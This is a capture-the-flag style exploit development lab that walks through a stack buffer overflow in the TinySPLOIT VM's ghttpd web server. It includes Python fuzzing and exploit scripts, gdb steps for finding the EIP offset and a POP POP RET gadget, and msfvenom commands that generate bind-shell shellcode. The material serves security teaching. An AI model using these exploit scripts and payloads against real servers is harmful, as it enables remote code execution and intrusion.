ED 207: Linux Buffer Overflow with ROP (15 pts)

What you need

Purpose

To practice using gdb and ROP (Return Oriented Programming).

Task 1: Preparing the Target VM

Getting the Target

In a Web browser, go to

http://blog.exploitlab.net/2014/07/tinysploit-warm-up-exercise-on-exploit.html

Download TinySPLOIT, a 30MB VMware image from that page. If that page is down, get it here:

https://samsclass.info/127/proj/exploitlab_tinysploit.zip

Unzip the file and double-click the tinysploit.vmx file to launch it in VMware.

The target VM launches, as shown below.

This is a headless Linux Web server, serving a page at the URL displayed on the console, as outlined in green in the image below.

Viewing the Target Web Page

On your host system, in a Web browser, go to the URL shown on the target VM's console.

A pretty Web page appears, with very terse hints for the exploitation, as shown below.

If you feel 1337, ignore my instructions and exploit the VM using only the hints on this page. Otherwise, follow the instructions below.

Task 2: Preparing an Attack Platform

We'll use Python to expoit the target, so you need to have some other computer that can send requests to the target from Python. The simplest technique is to use the host system.

Mac or Linux Host

If your host system is Mac or Linux, it already has Python and you're ready to go.

Windows Host

If the host systems is Windows, you must do one of these two things:

Task 3: Fuzzing the Target

HTTP GET in Python

Using a text editor, such as nano or Notepad, create this program, and name it get.py

This program sends an HTTP request for a page named "A".

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

req = "GET " + "A" 
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python get.py
The reply is "200 OK", as shown below.

The GET request was accepted.

Fuzz1: 1000 A's

Using a text editor, such as nano or Notepad, create this program, and name it fuzz1.py

This program sends an HTTP request for a page with a long name: 1000 characters, all "A".

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

req = "GET " + "A"*1000 
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python fuzz1.py
There is no reply, as shown below.
Look at the target machine's console.

It shows a "segfault" error, with "ip 41414141", as shown below.

It looks like some of those "A" characters ended up in the instruction pointer!

Fuzz2: Variable Number of A's

Using a text editor, such as nano or Notepad, create this program, and name it fuzz2.py

This program sends an HTTP request for a page with a long name: 1000 characters, all "A".

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

n = int( raw_input("Number of A's:"))

req = "GET " + "A" * n
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python fuzz2.py
Run the program, trying various numbers of A's, as shown below.

170 A's is accepted, returning "200 OK", but 180 A's causes a crash.

Ex3: Targeting EIP

Using a text editor, such as nano or Notepad, create this program, and name it ex3.py

This program sends an HTTP request for a page with a name like this:

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

attack = "A" * 170
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"

req = "GET " +  attack
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python ex3.py
The program crashes, with ip = 44434343, as shown below.

The last three "C" characters and the first "D" character ended up in the instruction pointer.

Ex4: Targeting EIP Precisely

Now we have enough information to precisely control the instruction pointer. The first nine characters of the string "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" are needed, and the next 4 bytes end up in the instruction pointer.

So we can just increase the number of "A" characters to 170 + 9.

Using a text editor, such as nano or Notepad, create this program, and name it ex4.py

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

attack = "A" * 179
eip = "BCDE"
attack += eip

req = "GET " +  attack
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python ex4.py
The program crashes, with the message "ip 45444342", as shown below. This is "BCDE", with the bytes in reverse order.

Task 4: Identifying Bad Characters

Bad1: Observing the Problem

Using a text editor, such as nano or Notepad, create this program, and name it bad1.py

This program replaces the first 128 "A" characters with the ASCII characters from 0 through 127.

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

test = ""
for i in range(0,128):
  test += chr(i)

attack = test + "A" * (170 - len(test))
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"

req = "GET " +  attack
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python bad1.py
There is no response, as shown below. It no longer crashes, because one of the characters was interpreted as the end of the input string, so it's no longer long enough to overflow the buffer. It's an incomplete request, so there is no reply.
Press Ctrl+C to stop the Python program.

Bad2: Testing Alphanumerics

As shown below, ASCII values 0 through 32 contain all the likely field separators, such as Tab, CR, LF, and Space.

It seems likely that characters 33 through 127 are OK, so let's test that.

Using a text editor, such as nano or Notepad, create this program, and name it bad2.py

This program replaces the first 128 "A" characters with the ASCII characters from 0 through 127.

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

test = ""
for i in range(33,128):
  test += chr(i)

attack = test + "A" * (170 - len(test))
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"

req = "GET " +  attack
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python bad2.py
The program runs, but there is no reply from the server, as shown below.
The console of your target machine now shows that the program crashed, as shown below. This proves that all characters from 33 through 127 are OK.

Bad3: Testing High Values

Now let's test characters 128 through 255.

Using a text editor, such as nano or Notepad, create this program, and name it bad3.py

This program replaces the first 128 "A" characters with the ASCII characters from 0 through 127.

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

test = ""
for i in range(128,256):
  test += chr(i)

attack = test + "A" * (170 - len(test))
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"

req = "GET " +  attack
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python bad3.py
The program runs. The console shows another message showing a crash, as it did in the "bad2.py" test.

This proves that all characters from 33 through 255 are OK.

Bad4: Testing Characters One By One

Now let's make a program to test characters one at a time.

Using a text editor, such as nano or Notepad, create this program, and name it bad4.py

This program places a single chosen character at the start of the attack.

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

n = int( raw_input( "Ascii code:") )

test = chr(n)

attack = test + "A" * (170 - len(test))
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"

req = "GET " +  attack
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python bad4.py
Enter an ASCII code of 0

The program hangs, because 0 is a bad character, terminating the attack string prematurely.

Press Ctrl+C to stop the program.

Run the program again. Enter an ASCII code of 1

The program runs and stops by itself, because the target process crashed. Therefore, 1 is a good character.

Continue trying characters one at a time, as shown below. If you are unsure whether a character is bad, look at the console of the target to be sure. If the console shows a crash, the character is good.

You should be able to verify that there are three bad characters:
0 10 13

Task 5: Finding the Crash

In the target console, or (better), in an SSH session connected to the target VM (username: root, password: exploitlab), execute this command:
netstat -pant 
Find the PID of the process listening on port 80. When I did it, the PID was 722, as shown below.
On the target machine, execute these commands, replacing the PID with your PID value:
gdb --pid=722
c 
This launches the debugger, attaches to the listening process, and "continues" execution, as shown below.
On your attack platform, execute this command:
python ex4.py
The program crashes, with the message "ip 45444342", as shown below.
We want to examine memory just before the crash, to craft our exploit.

However, gdb doesn't allow us to step backwards to find the earlier instruction, and when the crash happens, $eip contains garbage. How can we find the location of the code preceding the crash?

Finding the Pre-Crash Code with gdb

There are many ways to solve this problem, such as using a more powerful debugger. But we can do it with gdb simply by using the nexti command.

nexti performs a "step-over" -- it executes the next instruction in the calling function. If the current instruction calls a function, the function completes and returns, so you stay at the same level.

Restarting the Debugging Session

Each connection to the server creates a new process, so we need to exit and re-enter gdb each time.

To exit the current gdb session, in the gdb session, press q and press Enter. When a "Quit anyway? (y or n)?" message appears, press y and press Enter.

Then execute this command, replacing the number with the correct process ID on your system.

gdb --pid=722
Gdb shows that the program is waiting in the accept() method, as shown below.
On your attack platform, execute this command:
python ex4.py
In gdb, execute this command to perform 10 instructions.
nexti 10
Hold down the Enter key to repeat the command until the program crashes. Several screens of text will scroll by.

Find the last instruction address before the crash. When I did it, that address was 0x0804ae50, as shown below.

Inserting a Breakpoint

To exit the current gdb session, in the gdb session, press q and press Enter. If a "Quit anyway? (y or n)?" message appears, press y and press Enter.

Then execute these commands, replacing the process ID with the correct value for your system.

gdb --pid=827
b * 0x0804ae50 
c
The program waits for a connection, as shown below.

On your attack platform, execute this command:

python ex4.py
The program proceeds to the breakpoint, as shown below.

Disassembling Code Near the Crash

In your gdb session, execute this command.
x/10i 0x0804ae50
Then press Enter to repeat the instruction.

As shown below, we are near the end of a function. The crash happens at the ret instruction, as shown below.

Examining the Stack Just Before the Crash

To exit the current gdb session, in the gdb session, press q and press Enter. If a "Quit anyway? (y or n)?" message appears, press y and press Enter.

Then execute these commands. First we'll examine the stack before the leave instruction.

gdb --pid=827
b * 0x0804ae7c 
c
On your attack platform, execute this command:
python ex4.py
Gdb hits the breakpoint, as shown below.

In your gdb session, execute this command:

info registers
Note the values of esp and ebp, as shown below.

When I did it, ebp was 0xbfffba28, as shown below.

To view the stack frame, in your gdb session, execute this command:
x/220x $esp
As a visual aid, highlight the stack frame, ending the highlighting with the 32-bit word starting at ebp, as shown below.

The next word will end up in eip when the return is executed. It's outlined in green in the image below. The "ex4.py" attack puts the characters "BCDE" here, shown in hexadecimal as 0x45444342.

There are also two copies of our injected string on the stack, shown by the 0x41414141 bytes.

Task 6: Planning the Exploit

Finding a Useful Address

We now have control of the eip. We need to inject shellcode and jump to it. The classic procedure would be to replace some of the "A" characters with shellcode and then set eip to the start of the injected code. But every modern operating system has Address Space Layout Randomization, so that type of attack rarely works anymore. Let's use Return Oriented Programming (ROP) instead.

Typically, the last command before the crash is some form of strcpy, with the input characters stored in a string variable on the stack. That means the stack will contain a pointer to a copy of the characters we injected.

To perform the leave instruction and then view the top portion of the stack frame, in your gdb session, execute these commands:

stepi
x/4x $esp
The fourth word on the stack is 0xbfffbb90, as shown below.
To view that portion of the stack, in your gdb session, execute this command:
x/30x 0xbfffbb90
This address contains characters we injected, starting with 0x41414141, as shown below.

The Joy of POP POP RET

How can we change eip to the fourth word on the stack? The simplest way is POP, POP, RET. And that is a very common construction, so we should be able to easily find a series of instructions like that.

Finding the .text Section

To see the memory layout of the program, in your gdb session, execute this command:
info proc map
There are various sections, including places for the heap, the stack, and library code, as shown below. But all we need is the first section, containing some of the object code for the main executable "ghttpd", as highlighted in the image below.

This section starts at address 0x8048000.

Viewing Assembly Code in ghttpd

To see the assembly code in the first section, in your gdb session, execute this command:
x/20i 0x8048000
The first 20 instructions appear, as shown below. Quickly scan the mnemonic column, starting with "jg" and "dec". You can see that there is no POP, POP, RET there.
In your gdb session, press Enter to see the next 20 instructions.

Look for POP, POP, RET.

It's not there. Even trying the next 30 pages of code does not reveal it. We need a better way to search through this code.

Logging gdb Output

We'll use the gdb log to capture the assembly code.

In your gdb session, execute these commands:

set logging on
x/2000i 0x8048000
q
If a "Quit anyway? (y or n)?" message appears, press y and press Enter.

Viewing the Log

In the SSH session controlling the target system, execute these commands:
ls -l
head gdb.txt
As shown below, the logfile contains 76 Kb of assembly code, and the first ten lines look the same as the assembly code we saw in gdb.

Searching the Log with grep

To find lines containing "ret", in the SSH session controlling the target system, execute this command:
grep ret gdb.txt
As shown below, there are five lines containing "ret".
To display lines containing "ret", and 4 lines before each of them, in the SSH session controlling the target system, execute this command:
grep -B 4 ret gdb.txt
As shown below, the third one contains code we can use: POP, POP, RET, at address 0x8049102.

Exploit Layout

Now we have all the information we need.

Here's the structure of our current "ex4.py" exploit:

Here's the structure of our planned exploit:

Task 7: Using Dummy Shellcode

Restarting the Debugging Session

In the gdb session, press q and press Enter. If a "Quit anyway? (y or n)?" message appears, press y and press Enter.

Execute these commands, replacing the "722" with the correct process id for your target.

gdb --pid=722
c 

INT 3 or "\xCC"

Before getting real shellcode, let's test the exploit with fake shellcode containing "\xCC" characters. "\xCC" is the INT 3 instruction, which stops execution and returns control to the debugger. This is the instruction the debugger uses to implement breakpoints.

Ex5: Testing ROP with Dummy Shellcode

On your attacking system, using a text editor, such as nano or Notepad, create this program, and name it ex5.py

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

nopsled = "\x90" * 20
dummy = "\xCC" * 80
padding = "A" * (179 - len(dummy) - len(nopsled))
eip = "\x02\x91\x04\x08"

attack = nopsled + dummy + padding + eip

req = "GET " +  attack
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Execute this command to run the program.
python ex5.py
The target halts, with the message "Program received signal SIGTRAP, Trace/breakpoint trap.", as shown below.

Note the address it halts at. When I did it, the address was 0xbfffbba5, as shown below.

To see the bytes near the halting point, on the target system, in your gdb session, execute this command. Replace "0xbfffbba5" with the correct address from your system.
x/40x 0xbfffbba5 - 0x10
As shown above, our exploit worked as expected. It passed through the NOP sled (the "90" bytes) and halted when it hit the "CC" bytes.

Task 8: Generating Real Shellcode

On your Kali Linux virtual machine, in a Terminal window, execute this command to see the available payloads in Metasploit.
msfvenom --list payloads | more 
A long list of payloads appears, as shown below.
Press Ctrl+C to exit the list.

To narrow the list to bind shells for 32-bit Linux, execute this command to see the available payloads in Metasploit.

msfvenom --list payloads | grep linux | grep x86 | grep bind 
A long list of payloads appears, as shown below.

We'll use the simplest shellcode, avoiding "staged" payloads: linux/x86/shell_bind_tcp, as outlined in green below:

To see the payload options, execute this command:
msfvenom -p linux/x86/shell_bind_tcp --payload-options
Notice these facts about the payload, as shown below.
To generate Python shellcode, we only need to specify the output format--we don't need to set any parameters.

Execute this command:

msfvenom -p linux/x86/shell_bind_tcp -f python
Python code appears, as shown below.

However, this code contains a null byte, as highlighted in the image below, so it won't work because it will prematurely terminate the injected string.

Generating Code Without Bad Characters

To generate Python shellcode excluding the characters 0, 10, and 13, execute this command:
msfvenom -p linux/x86/shell_bind_tcp -f python -b "\x00\x0a\x0d"
Python code appears, as shown below.

Highlight the code, right-click it, and copy it into the clipboard, as shown below.

Task 9: Completing the Exploit

Ex6: Using Real Shellcode

On your attacking system, using a text editor, such as nano or Notepad, create this program, and name it ex6.py

Paste in the code from the clipboard so your screen resembles the image below.

Next insert this code above the lines you pasted in, as shown below.

Change the IP address to the correct IP address of your Linux target.

import socket
s = socket.socket()

s.connect(("172.16.1.249", 80))

nopsled = "\x90" * 20
Finally, add these lines at the bottom, as shown below.

Change the IP address to the correct IP address of your Linux target.

padding = "A" * (179 - len(buf) - len(nopsled))
eip = "\x02\x91\x04\x08"

attack = nopsled + buf + padding + eip

req = "GET " +  attack
req += " HTTP/1.1\r\n"
req += "Host: 172.16.1.249\r\n\r\n"

s.send(req)
print s.recv(1024)
Save the code.

Restarting the Debugging Session

In the SSH session controlling your target system, In the gdb session, press q and press Enter. If a "Quit anyway? (y or n)?" message appears, press y and press Enter.

Execute these commands, replacing the "722" with the correct process id for your target.

gdb --pid=722
c 
Execute this command to run the program.
python ex6.py
Now the target doesn't crash or halt. It runs, and gdb shows that a "New process" has launched, as shown below.

In gdb, press Ctrl+C. Press q and press Enter. If a "Quit anyway? (y or n)?" message appears, press y and press Enter.


ED 207.1 Remote Shell (15 pts)

In the SSH session controlling your target system, execute this command to see network status:
netstat -pant
You see a process listening on port 4444 as shown below.

The flag is covered by a green box in the image below.


Sources

TinySPLOIT - Warm-up exercise on Exploit Development

Posted 1-22-18 by Sam Bowne
Revised with nexti to proceed from leave to ret 2-8-18
Minor text corrections 10-16-19
Old emailing image instructions removed 11-5-19